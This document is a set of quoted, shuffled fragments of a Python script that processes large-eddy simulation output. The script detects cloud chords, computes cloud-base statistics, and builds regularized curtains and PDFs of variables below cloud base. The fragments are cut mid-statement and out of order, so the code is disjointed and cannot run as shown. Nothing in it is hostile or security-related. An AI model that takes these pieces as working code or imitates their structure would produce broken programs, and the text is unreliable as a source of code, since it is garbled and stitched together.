"total_surf_buoy_flux[tt] qtflux_s_1d[abs(t_1d-time_prof[tt])<dt_2] = total_surf_qt_flux[tt] thlflux_s_1d[abs(t_1d-time_prof[tt])<dt_2] = total_surf_thl_flux[tt] #to get anomalies",
"ttiimmee.time() print('iterable: ',it) print('n_chords: ',n_chords) print('number of time points included:",
"< len(cbl_cl_idx)-1:# and n_curtain<100*it: ####################################GO HERE TO SET MAXIMUM CURTAIN",
"t_max = 1200*100 #Made a 100 times longer cell_min =",
"end, because for the interpolation a bit of overlap is",
"= int(1.5/d_reg) n_t_reg = int((1+2*curtain_extra)/d_reg) t_reg_bound = np.linspace(-0.5-curtain_extra,0.5+curtain_extra ,n_t_reg+1) t_reg_mid",
"for the mean time def proc_chords( date_str='20160611', directory_input='/data/testbed/lasso/sims/', directory_output='/data/testbed/lasso/chords/', data_dim_flag=1,",
"reference height ref_lvl = cbl_1d_prof[it] u_ref = file_prof['u'][it,ref_lvl] v_ref =",
"= t_1d[idx_end_chord] #chord_idx_list.append(list(cbl_cl_idx[t_chord_begin:t_chord_end])) #list of relevant chord indexes ch_idx_l =",
"which contain column. column_files = glob.glob(directory_input+date+'/*.column.*.*.*.nc') for c_file in column_files:",
"== int(chord_max/2): t_cloudy_idx = int(len(cbl_cl_idx)/2) t_cloudy_idx += 1 time3 =",
"using the 25 percentile in agreement with Neil z_idx_base_default =",
"kind='linear') var_curtain = f(t_reg_mid,z_reg_mid) #constant base height version if base_smoothing_flag==2:",
"t_1d = file_col.variables['time'][:] print('t_1d',t_1d) thl_2d = file_col.variables['thl'][:] thl_2d = thl_2d.transpose()",
"=np.asarray(chord_thl_25) chord_thl_75 =np.asarray(chord_thl_75) chord_qt =np.asarray(chord_qt) chord_qt_25 =np.asarray(chord_qt_25) chord_qt_75 =np.asarray(chord_qt_75) chord_time",
"17.27 B = 237.7 alpha = ((A * (T- 273.15))",
"using w* surf_flux = np.mean(bflux_s_1d[idx_beg_chord:idx_end_chord]) base_height = z_idx_base_default*dz w_star=(base_height*surf_flux)**(1/3) if",
"= u_2d.transpose() v_2d = file_col.variables['v'][:] v_2d = v_2d.transpose() print('t_1d',t_1d) #Load",
"#Things are applied twice so that deviding by n it",
"below the cloud base and saves it #I will try",
"time def proc_beard_regularize(reg_var = 'w', date_str='20160611', directory_input='/data/testbed/lasso/sims/', directory_output = 'data_curtains/',",
"chord_cells = t_chord_end-t_chord_begin curtain_cells = idx_end_curtain-idx_beg_curtain #If curtain has more",
"curtain #value used to determine existence of cloud ql_min =",
"t_cloudy_idx #print('t_chord_end',t_chord_end) #Checking if it fulfils chord criteria regaring time",
"if ch_duration>t_min and ch_duration<t_max and chord_z_min > 4: if t_chord_end-t_chord_begin>cell_min-1:",
"yet') ############################################################################################################################## #switching to y direction if half of max",
"fulfils chord criteria regaring time #we also added a minimum",
"each of the columns of the original curtain a vertical",
"chord_z_min = np.min(cl_base[cbl_cl_idx[t_chord_begin:t_chord_end]]) chord_duration = t_cbl_cl[t_chord_end]-t_cbl_cl[t_chord_begin] else: chord_z_min = 0",
"domain height, could crash regularization later on, timestep: ',tt) cbl_1d_prof[tt]",
"i in range(idx_beg_chord,idx_end_chord): if i>idx_beg_chord-1 and i<idx_end_chord and cl_base[i]<cbl_1d[i]: z_idx_base[i]",
"mean time, then scales it by 1/(time_end_chord-time_beg_chord) t_reg_orig = t_1d[idx_beg_curtain:idx_end_curtain]-(time_beg_chord+time_end_chord)/2.",
"t_cloudy_idx += 1 time3 = ttiimmee.time() print('curtain processing:',(time3-time2)/60.0,'minutes') print(':') print(':')",
"scipy.interpolate import griddata #from mpl_toolkits.axes_grid1 import make_axes_locatable import pickle import",
"default profile print('calculating cbl height from profile file') T =",
"if chord_times == 1: t_gap = 0. #should be pretty",
"strict, but goes on for a loooong time as well",
"through profile time snapshots and allocate the closest full time",
"clouds are present if scale_flag > 0 and t_1d.shape[0]>3: #calculate",
"and 1.5, total width defined by curtain_extra #takes the original",
"0 use reg_var as it is. 1 use reg_var -",
"the 25 percentile in agreement with Neil z_idx_base_default = math.floor(np.percentile(cl_base[cbl_cl_idx[t_chord_begin:t_cloudy_idx]],base_percentile))",
"surf_flux = np.mean(bflux_s_1d[idx_beg_chord:idx_end_chord]) base_height = z_idx_base_default*dz w_star=(base_height*surf_flux)**(1/3) if reg_var=='w': boundary_scaling",
"we do the same thing with the transposed field, use",
"screen out fog/dew stuff at the surface if t_chord_end-t_chord_begin>cell_min: chord_z_min",
"= t_1d[idx_beg_curtain:idx_end_curtain]-(time_beg_chord+time_end_chord)/2. t_reg_orig = t_reg_orig/(time_end_chord-time_beg_chord) #Now we calculate the new",
"date_str='20160611', directory_input='/data/testbed/lasso/sims/', directory_output='/data/testbed/lasso/chords/', data_dim_flag=1, base_percentile = 25, special_name='', chord_times =",
"1)) w_2d = np.hstack([w_2d ,np.array(w_3d.reshape((nz,nx*ny)))]) ql_2d = np.hstack([ql_2d ,np.array(ql_3d.reshape((nz,nx*ny)))]) thl_2d",
"x and y is calculated here if required. Is skipped",
"all the fuckery to turn the 3D fields into 2d",
"file_prof['w2'][:,:] nz_prof = w2.shape[1] var_prof = file_prof[reg_var][:,:] #needed for anomaly",
"to the mean one and track one more curtain #detecting",
"#proc_pdf saves pdfs of a variable below cloud base #Both",
"in pandas chord_timesteps = [] chord_length = [] chord_duration =",
"for t in range(nt): if np.max(ql_2d[:,t])>ql_min : cl_base[t]=np.argmax(ql_2d[:,t]>ql_min) else: cl_base[t]=10000000",
"the chordlength is lower than t_min or higher than t_max",
"= 10 #Minimal number of cells needed to convert into",
"and cloud base as done my Neil, 1: smooth out",
"file_col.variables['v'][:] v_2d = v_2d.transpose() #lets try saving memory by closing",
"quickly # N_it_min = start number of iterables, 3D timesteps",
"anomaly_flag = 0, N_it_max=1e9, N_it_min=0, size_bin_flag=0, N_bins=12, bin_size = 250,",
"reg_var=='w': boundary_scaling = w_star if reg_var=='qt': surf_flux = np.mean(qtflux_s_1d) boundary_scaling",
"= len(cbl_1d) cl_base = np.zeros(nt) #Detecting all cloudy cells #Use",
"calculated directly from the cloud base speeds if data_dim_flag==1: u_ref=np.mean(u_2d[cl_base[ch_idx_l],ch_idx_l])",
"properties saved as panda in ',filename_chord_panda) print(':') print(':') print(':') print(':')",
"cloud base as done my Neil, 1: smooth out base",
"to work for any variable in the column output, or",
"scaling profiles and interpolation them onto the regularized z axis",
"= ttiimmee.time() print('curtain processing:',(time3-time2)/60.0,'minutes') print(':') print(':') print(':') time_end = ttiimmee.time()",
"load the wind from the profile data, which devided by",
"1)) #globals().update(locals()) w_2d = np.hstack([w_2d ,np.array(w_3d.reshape((nz,nx*ny)))]) ql_2d = np.hstack([ql_2d ,np.array(ql_3d.reshape((nz,nx*ny)))])",
"n_curtain<100*it: ####################################GO HERE TO SET MAXIMUM CURTAIN #print(t_chord_begin) t_chord_begin =",
"#chord_idx_list.append(list(cbl_cl_idx[t_chord_begin:t_cloudy_idx])) #Here we start the interpolation stuff #Getting the chord",
"base var_cl_base=var_2d[cl_base[cbl_cl_idx]-1,cbl_cl_idx] #If boundary scaling is used, the variable is",
"issues with global and local variables def func_curtain_reg(input_2d_field): #function regularizes",
"to w_x_low_z_high #f = interp1d(z_reg_orig, var_orig_col, kind='next') f = interp1d(z_reg_orig,",
"cloud. for t in range(nt): if np.max(ql_2d[:,t])>ql_min : cl_base[t]=np.argmax(ql_2d[:,t]>ql_min) else:",
"curtain tail noes not extend beyond end of 2d field",
"for each of the columns of the original curtain a",
"var_3d gc.collect() #fake t vector, t_1d = np.linspace(0,2*nx*ny,2*nx*ny) #Switching to",
"CBL nt = len(cbl_1d) cl_base = np.zeros(nt) #Detecting all cloudy",
"=np.asarray(chord_qt) chord_qt_25 =np.asarray(chord_qt_25) chord_qt_75 =np.asarray(chord_qt_75) chord_time =np.asarray(chord_time) #Saving print('all chords:",
"print('time iterative, V_ref, time_resolution',it, str(V_ref)[:4], str(time_resolution)[:4] ) #fake t vector,",
"u_2d.transpose() v_2d = file_col.variables['v'][:] v_2d = v_2d.transpose() #lets try saving",
"one script from getting to confusing. import numpy as np",
"2, 1)) thl_3d = np.transpose(thl_3d, (0, 2, 1)) w_2d =",
"= np.zeros([n_t_reg,n_z_reg]) var_curtain_dw_sum = np.zeros([n_t_reg,n_z_reg]) n_curtain = 0 n_chord =",
"=np.asarray(chord_w_flux) chord_thl =np.asarray(chord_thl) chord_thl_25 =np.asarray(chord_thl_25) chord_thl_75 =np.asarray(chord_thl_75) chord_qt =np.asarray(chord_qt) chord_qt_25",
"calculate dz z_prof = file_prof['z'][:] dz = z_prof[1]-z_prof[0] print('dz: ',dz)",
"no gaps allowed! t_min = 0.0 t_max = 1e9 cell_min",
"print('n_chords: ',n_chords) time1 = ttiimmee.time() if data_dim_flag ==1: print('loading column:",
"=np.asarray(chord_height) chord_w_base =np.asarray(chord_w_base) chord_w_star =np.asarray(chord_w_star) chord_thl_star =np.asarray(chord_thl_star) chord_qt_star =np.asarray(chord_qt_star) chord_w",
"loooong time as well if chord_times == 1: t_gap =",
"chord_thl_star.append(thl_star ) chord_qt_star.append(qt_star ) chord_w_base.append(np.mean(w_2d[cl_base[ch_idx_l],ch_idx_l])) chord_w.append(np.mean(w_2d[cl_base[ch_idx_l]-1,ch_idx_l])) chord_thl.append(np.mean(thl_2d[cl_base[ch_idx_l]-1,ch_idx_l])) #get a fourth",
"file_col.variables['time'][:] u_2d = file_col.variables['u'][:] u_2d = u_2d.transpose() v_2d = file_col.variables['v'][:]",
"if chord_duration>t_min and chord_duration<t_max and chord_z_min > 4: if t_chord_end-t_chord_begin>cell_min-1:",
"= list(cbl_cl_idx[t_chord_begin:t_chord_end]) u_ref=np.mean(u_2d[cl_base[ch_idx_l],ch_idx_l]) v_ref=np.mean(v_2d[cl_base[ch_idx_l],ch_idx_l]) V_ref=np.sqrt(u_ref**2+v_ref**2) ch_duration = t_cbl_cl[t_chord_end]-t_cbl_cl[t_chord_begin] chord_length =",
"needed cbl height, which constant everywhere cbl_1d = t_1d*0 cbl_1d[:]",
"proc_chords( date_str='20160611', directory_input='/data/testbed/lasso/sims/', directory_output='/data/testbed/lasso/chords/', data_dim_flag=1, base_percentile = 25, special_name='', chord_times",
"cbl height, which constant everywhere cbl_1d = t_1d*0 cbl_1d[:] =",
"= np.transpose(ql_3d, (0, 2, 1)) qt_3d = np.transpose(qt_3d, (0, 2,",
"super strict if chord_times == 1: t_gap = 0.#No gaps",
"after setting it with running average 2: just use percentile",
"output exactly with not gap possible # anomaly_flag: 0 use",
"',np.mean(w_tmp),w_tmp) ############################################################################################################################## #PLOTS ############################################################################################################################## #If the plot flag is set",
"var_curtain = np.zeros([n_t_reg,n_z_reg]) var_curtain_sum = np.zeros([n_t_reg,n_z_reg]) var_curtain_up_sum = np.zeros([n_t_reg,n_z_reg]) var_curtain_dw_sum",
"is named the same as the file. #If the input",
"np.savez(save_string,var_pdf=var_pdf,range_var=range_var) print('saved pdf with ', sum(var_pdf), 'points to '+save_string) print(':')",
"250 meters length to get started. The lowest bin should",
"var_prof = file_prof[reg_var][:,:] #needed for anomaly processing #Just grabbing this",
"also hard coded that neighboring cells always count ##Check if",
"curtain_min = 10 #Minimal number of cells needed to convert",
"they are always counted as consecutive, not matter the time",
"use values that fit model output exactly with not gap",
"(tmp_matrix.transpose() - tmp_vector).transpose() # = var_2d[:,abs(t_1d-time_prof[tt])<dt_2]-var_prof[tt,:] if data_dim_flag ==3: if",
"constant everywhere cbl_1d = t_1d*0 cbl_1d[:] = cbl_1d_prof[it] #The needed",
"if N_it_min>0: save_string_base = save_string_base+'_Nmin'+str(N_it_min) if N_it_max<1e9: save_string_base = save_string_base+'_Nmax'+str(n_iter)",
"from the mean cloud base height # 2, similar to",
"plus 300 m cbl_1d_prof[tt] = min(z+300/dz,LCL_index[tt]) #To avoid issues later",
"all cloudy timesteps and detect chords #If they fulful chord",
"data_dim_flag==1: chord_time.append(np.mean(t_1d[ch_idx_l])) if data_dim_flag==3: chord_time.append(time_prof[it]) t_cloudy_idx += 1 time3 =",
"as the difference to the next cloudy timestep is lower",
"the interpolation stuff #Getting the chord beginning and end idx_beg_chord",
"'' n_chords = 0 #This now a bit trickier then",
"= np.var(w_1d[z,:]) #Mimimum of LCL +100 or variance plus 300",
"calculate either w/w*, thl'/thl*, or qt'/qt* time_begin = ttiimmee.time() dz",
"that fit model output exactly with not gap possible #",
"t_cloudy_idx < len(cbl_cl_idx)-1 and n_chords<chord_max: #print('t_chord_begin',t_chord_begin) t_chord_begin = t_cloudy_idx #now",
"per chord # #1D clustering parameters, #set super strict, but",
"convert into a curtain # #1D clustering parameters, #set super",
"else: print('wtf how is this zero: ',np.mean(w_tmp),w_tmp) ############################################################################################################################## #PLOTS ##############################################################################################################################",
"= np.hstack([scaling_factor_y_prof[0],scaling_factor_y_prof]) #1D vertical interpolation to get the right columns",
"= 10 #Minimal number of cells needed per curtain #value",
"or t_cbl_cl[t_cloudy_idx+1]-t_cbl_cl[t_cloudy_idx]<t_gap): t_cloudy_idx += 1 t_chord_end = t_cloudy_idx #Checking if",
"= (tmp_matrix.transpose() - tmp_vector).transpose() tmp_matrix = qt_2d[:,abs(t_1d-time_prof[tt])<dt_2] tmp_vector = qt_prof[tt,:]",
"tmp_vector).transpose() tmp_matrix = qt_2d[:,abs(t_1d-time_prof[tt])<dt_2] tmp_vector = qt_prof[tt,:] #because the vectors",
"works with 3D data and thus all surface fluxes are",
"if N_it_max<1e9: save_string_base = save_string_base+'_Nmax'+str(n_iter) save_string_base = save_string_base+'_'+special_name+'_N'+str(n_chords) filename_chord_panda =",
"= 'star'+save_string_base save_string_base = save_string_base+'_'+special_name+'_N'+str(n_curtain) save_string = directory_output+ reg_var+save_string_base +'.nc'",
"[nz, nx, ny] = get_zxy_dimension(filename_l,'ql') #getting variable to be regularized",
"t in range(nt): if np.max(ql_2d[:,t])>ql_min : cl_base[t]=np.argmax(ql_2d[:,t]>ql_min) else: cl_base[t]=10000000 cl_base=cl_base.astype(int)",
"file later on dx = 25.0 date = date_str #1D",
"'regularized time'), var_curtain_dw_sum.transpose()/n_curtain_dw)}, coords={'regularized time':t_reg_mid, 'regularized height':z_reg_mid}) xr_dataset[reg_var].attrs['n']=n_curtain xr_dataset[reg_var+'_up'].attrs['n']=n_curtain_up xr_dataset[reg_var+'_dw'].attrs['n']=n_curtain_dw",
"cloud #As an additional contraint, if the cloudy cells are",
"var_curtain_tmp = abs(scaling_factor) * var_curtain_tmp if scale_flag==2: if idx_end_curtain<nt/2: scaling_factor_prof",
"#percentile of cloud base chord_w = [] chord_w_up = []",
"cell_min = 10 #Minimal number of cells needed per chord",
"np.hstack([ql_2d ,np.array(ql_3d.reshape((nz,nx*ny)))]) var_2d = np.hstack([var_2d ,np.array(var_3d.reshape((nz,nx*ny)))]) #This might save a",
"tt in range(len(time_prof)): #globals().update(locals()) tmp_matrix = thl_2d[:,abs(t_1d-time_prof[tt])<dt_2] tmp_vector = thl_prof[tt,:]",
"later on if scale_flag>0 and data_dim_flag==3: if scale_flag==1: #find out",
"=np.asarray(chord_w_base) chord_w_star =np.asarray(chord_w_star) chord_thl_star =np.asarray(chord_thl_star) chord_qt_star =np.asarray(chord_qt_star) chord_w =np.asarray(chord_w) chord_w_up",
"and adding it to the total histogram var_hist,bin_edges = np.histogram(var_cl_base,range=range_var,bins=N_bins)",
"'nan' chord_w_per = np.vstack([chord_w_per,tmp_w_per]) chord_w_per_up = np.vstack([chord_w_per,tmp_w_per_up]) if data_dim_flag==1: chord_time.append(np.mean(t_1d[ch_idx_l]))",
"LCL qt_pressure = p*qt sat_qv = 6.112*100 * np.exp(17.67 *",
"N_bins=12, bin_size = 250, curtain_extra = 1.0, chord_max = 1e9,",
"total_surf_buoy_flux = file_prof['bflux'][:,1] total_surf_thl_flux = file_prof['thlflux'][:,1] total_surf_qt_flux = file_prof['qtflux'][:,1] time_prof",
"= thl_2d[:,abs(t_1d-time_prof[tt])<dt_2] tmp_vector = thl_prof[tt,:] #because the vectors don't perfectly",
"implemented star scaling for 1d data') sys.exit() #Now adding the",
"int(ref_idx): ',int(ref_idx)) if scale_flag == 2: #Regularizing the scaling profiles",
"pandas chord_timesteps = [] chord_length = [] chord_duration = []",
"to loop over multiple dates, if you want to do",
"columns and asign them one by one to w_x_low_z_high f_x",
"half of max chords reached ############################################################################################################################## if n_chords == int(chord_max/2):",
"=0, N_bins=400, base_percentile = 25, boundary_scaling_flag = 1, range_var =",
"histogram, and adding it to the total histogram var_hist,bin_edges =",
"anymore, not sure if that helps save any memory though",
"the difference is larger than 20s the cloud is over,",
"len(cbl_cl_idx)-1 and n_chords<chord_max: #print('t_chord_begin',t_chord_begin) t_chord_begin = t_cloudy_idx #now connecting all",
"time_prof*0.0 #Hack together the Lifting condensation level LCL qt_pressure =",
"var file, even if means that we doable load w_2d",
"ql_2d = np.hstack([ql_2d ,np.array(ql_3d.reshape((nz,nx*ny)))]) thl_2d = np.hstack([thl_2d ,np.array(thl_3d.reshape((nz,nx*ny)))]) qt_2d =",
"reg_var+'_dw':(('regularized height', 'regularized time','length'), var_curtain_bin_dw_sum.transpose()/n_curtain_bin_dw)}, coords={'regularized time':t_reg_mid, 'regularized height':z_reg_mid, 'length':mid_bin_size})",
"n_curtain_bin_dw = np.zeros([N_bins]) var_curtain_bin_sum = np.zeros([N_bins,n_t_reg,n_z_reg]) var_curtain_bin_up_sum = np.zeros([N_bins,n_t_reg,n_z_reg]) var_curtain_bin_dw_sum",
"np.mean(w_tmp)<0.: n_curtain_bin_dw[bin_idx] += 1 var_curtain_bin_dw_sum[bin_idx,:,:] += var_curtain_tmp else: print('wtf how",
"if chord_times == 1: t_gap = 0.#No gaps allowed! t_min",
"var_orig_col = np.hstack([var_orig_col[0],var_orig_col]) #1D vertical interpolation to get the right",
"of 2d field or the beginning extend before #I added",
"#Now we calculate the new regularized grid with the correct",
"'scale_flag':scale_flag, 'chord_times':chord_times, 'anomaly_flag':anomaly_flag, 'N_it_max':N_it_max, 'N_it_min':N_it_min, 'size_bin_flag':size_bin_flag, 'bin_size':bin_size, 'N_bins':N_bins, 'curtain_extra':curtain_extra }",
"the profiles of u and v and their scaling u_ref_prof",
"curtain_min cells and curtain tail noes not extend beyond end",
"data_dim_flag ==3: if sum(file_prof['ql'][it,:])>0.0: print('loading timestep: ',it) ql_3d = grab_3d_field(file_ql",
"counted as a chord #and their properties are calculatted immediately",
"tt in range(len(time_prof)): cbl_1d[abs(t_1d-time_prof[tt])<dt_2] = cbl_1d_prof[tt] bflux_s_1d[abs(t_1d-time_prof[tt])<dt_2] = total_surf_buoy_flux[tt] qtflux_s_1d[abs(t_1d-time_prof[tt])<dt_2]",
"you want to do that call the function repeatedly #Full",
"convert to arrays in the end before saving in pandas",
"grab_3d_field(file_thl ,it,'thl') #Here we have to do all the fuckery",
"the total sums, 1: adds a seperate output for each",
"are relative to cloud base #Should be able to work",
"strict if chord_times == 1: t_gap = 0.#No gaps allowed!",
"indexes ch_idx_l = list(cbl_cl_idx[t_chord_begin:t_chord_end]) #getting V_ref if data_dim_flag==1. Is calculated",
"var_curtain = f(t_reg_mid,z_reg_mid) return var_curtain #Creating regularized grid. d_reg =",
"as done my Neil, 1: smooth out base after setting",
"keep the automatic x and y calculation #Scaling shouldn't be",
"xr_dataset[reg_var].attrs['n'] =n_curtain_bin xr_dataset[reg_var+'_up'].attrs['n'] =n_curtain_bin_up xr_dataset[reg_var+'_dw'].attrs['n'] =n_curtain_bin_dw xr_dataset.attrs = settings_dict save_string",
"import os import time as ttiimmee from scipy.interpolate import interp1d",
"contains ',len(cbl_cl_idx),'cloudy columns') chord_idx_list = [] while t_cloudy_idx < len(cbl_cl_idx)-1:#",
"np.zeros(1) #The needed cbl height, which constant everywhere cbl_1d =",
"Now I just set it really high where there is",
"= z_prof[1]-z_prof[0] print('dz: ',dz) #for boundary scaling total_surf_buoy_flux = file_prof['bflux'][:,1]",
"or column files. Only reall makes sense for 3D to",
"to 1 but now using a profile # # base_smoothing_flag:",
"= np.hstack([ql_2d ,np.array(ql_3d.reshape((nz,nx*ny)))]) var_2d = np.hstack([var_2d ,np.array(var_3d.reshape((nz,nx*ny)))]) #Should now be",
"#However if the duration of the chordlength is lower than",
"not sure if that helps save any memory though del",
"must include at least cell_min cells, because it is possible",
"height # 2, similar to 1 but now using a",
"be empty, because we only calculate curtains when at least",
"',np.mean(w_tmp),w_tmp) #globals().update(locals()) ############################################################################################################################################### ################## SIZE BINNING ############################################################################################################## ############################################################################################################################################### if size_bin_flag:",
"if reg_var=='w': boundary_scaling = w_star if reg_var=='qt': surf_flux = np.mean(qtflux_s_1d)",
"file_thl = Dataset(filename_thl,read='r') file_qt = Dataset(filename_qt,read='r') [nz, nx, ny] =",
"t_cloudy_idx #Checking if it fulfils chord criteria regaring time #we",
"by mean time, then scales it by 1/(time_end_chord-time_beg_chord) t_reg_orig =",
"= np.mean(cl_base[cbl_cl_idx]) if scale_flag == 1: #a new reference level",
"Neil, 1: smooth out base after setting it with running",
"#Checking if it fulfils chord criteria regaring time #we also",
"vertical interpolation is done for i in range(idx_beg_curtain,idx_end_curtain): #assigining column",
"curtain, we add a bit to to each side to",
"np.hstack([thl_2d ,np.array(thl_3d.reshape((nz,nx*ny)))]) qt_2d = np.hstack([qt_2d ,np.array(qt_3d.reshape((nz,nx*ny)))]) #Should now be able",
"np.mean(w_tmp)<0.: n_curtain_dw += 1 var_curtain_dw_sum += var_curtain_tmp else: print('wtf how",
"filename_prof=directory_input+date+'/bomex.default.0000000.nc' file_prof = Dataset(filename_prof,read='r') extra_string = '' #This now a",
"#Two different scale_flags added to rotate the curtain to point",
"beards #proc_pdf saves pdfs of a variable below cloud base",
"= file_prof['z'][:] dz = z_prof[1]-z_prof[0] total_surf_buoy_flux = file_prof['bflux'][:,1] total_surf_thl_flux =",
"= np.linspace(0,2*nx*ny,2*nx*ny) #Switching to anomalies if anomaly flag is used",
"filename_var = directory_input+date+'/'+reg_var+'.nc' file_var = Dataset(filename_var,read='r') filename_prof=glob.glob(directory_input+date+'/testbed?default?0*.nc')[0] #filename_prof=directory_input+date+'/testbed.default.0000000.nc' if date=='bomex':",
": cl_base[t]=np.argmax(ql_2d[:,t]>1e-6) else: cl_base[t]=10000000 cl_base=cl_base.astype(int) #Now find c base lower",
"chord_w = [] chord_w_up = [] #mean over updrafts chord_w_base",
"qt_star = surf_qt_flux/w_star surf_thl_flux = np.mean(thlflux_s_1d[idx_beg_chord:idx_end_chord]) thl_star = surf_thl_flux/w_star chord_w_star.append(w_star",
"interpolation stuff #Getting the chord beginning and end idx_beg_chord =",
"# 2, similar to 1 but now using a profile",
"var_hist_sum = var_hist_sum+var_hist else: print('no cloudy columns apparently') var_pdf =",
"c_file in column_files: filename_column.append(c_file) print('filename column included:',c_file) if data_dim_flag==3: filename_w",
"version if base_smoothing_flag==2: #Regularizing the z axes so that cloud",
"date=='bomex': filename_prof=directory_input+date+'/bomex.default.0000000.nc' file_prof = Dataset(filename_prof,read='r') extra_string = '' #This now",
"memory though del w_3d del ql_3d del thl_3d del qt_3d",
"cl_base[ch_idx_l]*0 + int(np.percentile(cl_base[ch_idx_l],base_percentile)*3./4.) #print ('cl base idx:',np.percentile(cl_base[ch_idx_l],base_percentile),'clbase/4:',cl_base_25_idx[0],'clbase3/4:',cl_base_75_idx[0]) chord_thl_25.append(np.mean(thl_2d[cl_base_25_idx,ch_idx_l])) chord_thl_75.append(np.mean(thl_2d[cl_base_75_idx,ch_idx_l])) chord_qt.append(np.mean(qt_2d[cl_base[ch_idx_l]-1,ch_idx_l]))",
"',tt) cbl_1d_prof[tt] = math.floor(nz*0.6) print('resulting indexes of cbl over time:",
"it really high where there is no cloud. for t",
"math.floor(nz*0.6) print('resulting indexes of cbl over time: ',cbl_1d_prof) print('calculated LCL:",
"if base_smoothing_flag==2: #just put the percentile back z_idx_base[:] = z_idx_base_default",
"get all files which contain column. column_files = glob.glob(directory_input+date+'/*column*.nc') for",
"var_curtain_bin_sum = np.zeros([N_bins,n_t_reg,n_z_reg]) var_curtain_bin_up_sum = np.zeros([N_bins,n_t_reg,n_z_reg]) var_curtain_bin_dw_sum = np.zeros([N_bins,n_t_reg,n_z_reg]) mid_bin_size",
"The lowest bin should be empty, because we only calculate",
"# = var_2d[:,abs(t_1d-time_prof[tt])<dt_2]-var_prof[tt,:] if data_dim_flag ==3: if sum(file_prof['ql'][it,:])>0.0: print('loading timestep:",
"a 3D field it will always go over x and",
"we subtract the closet mean profile for tt in range(len(time_prof)):",
"total_surf_thl_flux[tt] #to get anomalies we subtract the closet mean profile",
"because for the interpolation a bit of overlap is used.",
"reg_var=='thl': thl_flux = np.mean(thlflux_s_1d[idx_beg_chord:idx_end_chord]) boundary_scaling = surf_flux/w_star var_curtain_tmp = var_curtain_tmp/boundary_scaling",
"or y by seeing if we are in the first",
"save_string_base = '_beard_'+date+'_d'+str(data_dim_flag)+'_cb'+str(base_smoothing_flag)+'_an'+str(anomaly_flag)+'_ct'+str(chord_times)+'_ce'+str(int(curtain_extra)) if data_dim_flag==3: save_string_base = save_string_base+'_sf'+str(scale_flag) if N_it_min>0:",
"in range(N_it_min,n_iter): print('n_chords: ',n_chords) time1 = ttiimmee.time() if data_dim_flag ==1:",
"is now to always go over x and y directions",
"to be an either or, now just add it on",
"point upwind. #TODO #plot_flag disabled for the mean time def",
"jump to the y direction when chord_max/2 is reached #",
"z_reg_mid, var_t_low_z_high.transpose(), kind='linear') var_curtain = f(t_reg_mid,z_reg_mid) #constant base height version",
"and saves it #I will try to keep it at",
"matter the time distance between them. #if the difference is",
"one and track one more curtain #detecting if chord base",
"timestep: ',it,' cause no clouds') ql_2d = np.zeros((nz,1)) w_2d =",
"= qt_prof[tt,:] #because the vectors don't perfectly align qt_2d[:,abs(t_1d-time_prof[tt])<dt_2] =",
"negative w, then adds to the sum of up or",
"= 237.7 alpha = ((A * (T- 273.15)) / (B",
"Is calculated directly from the cloud base speeds if data_dim_flag==1:",
"/ (A - alpha) dewpoint = dewpoint + 273.15 LCL",
"make_axes_locatable import pickle import sys #sys.path.insert(0, \"/home/pgriewank/code/2019-chords-plumes/\") #from unionfind import",
"is needed, all values are relative to cloud base #Should",
"base idx:',np.percentile(cl_base[ch_idx_l],base_percentile),'clbase/4:',cl_base_25_idx[0],'clbase3/4:',cl_base_75_idx[0]) chord_thl_25.append(np.mean(thl_2d[cl_base_25_idx,ch_idx_l])) chord_thl_75.append(np.mean(thl_2d[cl_base_75_idx,ch_idx_l])) chord_qt.append(np.mean(qt_2d[cl_base[ch_idx_l]-1,ch_idx_l])) chord_qt_75.append(np.mean(qt_2d[cl_base_75_idx,ch_idx_l])) chord_qt_25.append(np.mean(qt_2d[cl_base_25_idx,ch_idx_l])) chord_w_flux.append(np.sum(w_2d[cl_base[ch_idx_l]-1,ch_idx_l])) w_base_vec =",
"instead made it a nested function var_curtain_tmp = (func_curtain_reg(var_2d)).transpose() if",
"chord_w.append(np.mean(w_2d[cl_base[ch_idx_l]-1,ch_idx_l])) chord_thl.append(np.mean(thl_2d[cl_base[ch_idx_l]-1,ch_idx_l])) #get a fourth and 3/4 of the cloud",
"transposed field, use to be an either or, now just",
"= '_pdf_'+date+'_d'+str(data_dim_flag)+'_an'+str(anomaly_flag) if N_it_min>0: save_string_base = save_string_base+'_Nmin'+str(N_it_min) if N_it_max<1e9: save_string_base",
"for any variable in the column output, or for any",
"#Contains the functions needed to process both chords and regularized",
"of cells needed to convert into a curtain # #1D",
"t axis but for original resolution #It is expected to",
"mean if base_smoothing_flag ==1: z_idx_base_smooth = z_idx_base*1.0 N = int(np.floor(idx_end_chord-idx_beg_chord)*0.1)",
"n_curtain = 0 n_chord = 0 n_curtain_up = 0 n_curtain_dw",
"################## SIZE BINNING ############################################################################################################## ############################################################################################################################################### if size_bin_flag: #getting V_ref if",
"agreement with Neil if data_dim_flag==3: z_idx_base_default = math.floor(np.percentile(cl_base[cbl_cl_idx],base_percentile)) # Can't",
"z_reg_orig_top = d_z_tmp*nz- d_z_tmp/2 z_reg_orig = np.linspace(0+d_z_tmp/2,z_reg_orig_top,nz) #Have to add",
"if scale_flag == 2: #Regularizing the scaling profiles and interpolation",
"#If boundary scaling is used, the variable is scaled accordingly",
"of proc_beard_regularize in minutes: ',(time_end-time_begin)/60.) print(':') print(':') print(':') #Replacing saving",
"avoid issues with global and local variables def func_curtain_reg(input_2d_field): #function",
"in minutes: ',(time_end-time_begin)/60.) print(':') print(':') print(':') #Replacing saving with xarray",
"just use percentile defined by base_percentile # base_percentile: percentile used",
"idx_end_chord = cbl_cl_idx[t_chord_end] time_beg_chord = t_1d[idx_beg_chord] time_end_chord = t_1d[idx_end_chord] #chord_idx_list.append(list(cbl_cl_idx[t_chord_begin:t_chord_end]))",
"default is 1 # chord_max: Maximum number of chords. If",
"file_col.variables['thl'][:] thl_2d = thl_2d.transpose() qt_2d = file_col.variables['qt'][:] qt_2d = qt_2d.transpose()",
"t_max = 1e9 cell_min = 10 #Minimal number of cells",
"it isn't #I added an additional constraint that each chord",
"if you want to do that call the function repeatedly",
"ql_2d = np.zeros((nz,1)) w_2d = np.zeros((nz,1)) thl_2d = np.zeros((nz,1)) qt_2d",
"to keep the one script from getting to confusing. import",
"= 1, range_var = [-10,10] ): #We are starting out",
"interpolation z_reg_orig = np.hstack([[0],z_reg_orig]) var_orig_col = np.hstack([var_orig_col[0],var_orig_col]) #1D vertical interpolation",
"1.0/z_idx_base[i] var_orig_2d = input_2d_field[:,idx_beg_curtain:idx_end_curtain] nz = var_orig_2d.shape[0] z_reg_orig_top = d_z_tmp*nz-",
